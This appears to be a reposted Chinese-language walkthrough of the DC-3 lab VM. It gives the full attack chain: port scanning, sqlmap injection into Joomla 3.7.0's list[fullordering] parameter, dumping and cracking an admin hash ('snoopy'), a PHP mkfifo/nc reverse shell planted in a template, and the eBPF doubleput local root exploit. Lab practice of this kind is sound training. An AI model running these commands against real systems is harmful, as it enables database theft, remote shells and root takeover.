DC-3靶機


僅供個人娛樂

靶機信息

下載地址:http://www.five86.com/downloads/DC-3.zip

一、主機掃描

arp-scan -l

nmap -A -p 1-65535 -sV 192.168.17.133

二、信息收集

使用joomscan對Dc3靶機網站進行掃描

apt-getinstall joomscan

joomscan--url http://192.168.17.133

git clone https://github.com/Tuhinshubhra/CMSeeK

復制到/root

root@kali:~/CMSeeK# python3 cmseek.py --url http://192.168.17.133

searchsploit joomla 3.7.0

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root

數據庫
sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

當前數據庫

sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]

sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]


sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]

查詢#__users表的name、password字段,輸出信息

sqlmap -u "http://192.168.17.133/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]

vim 1

admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zukali

john 1

破解得到admin密碼為snoopy。

登錄后台 信息收集

信息收集

在Joomla后台的模板管理中,選擇一個模板並編輯,在modules.php插入小馬

編寫反彈shell的PHP代碼,,監聽4444端口,並執行腳本文件,將反彈靶機shell到kali

失敗了 換頁面編輯

nc -lvp 1337 #kali開啟1337監聽端口

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.17.129 1337 >/tmp/f');?> 

成功獲取shell,使用searchsploit工具查找Ubuntu 16.04的提權漏洞,發現一個“拒絕服務漏洞”,可以用來提權。

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root

cd /root

cat 39772.txt

直接下載失敗

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

unzip 39772.zip

cd 39772

tar -xvf exploit.tar

ls

cd ebpf_mapfd_doubleput_exploit

ls

蟻劍上傳

./compile.sh

./doubleput




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM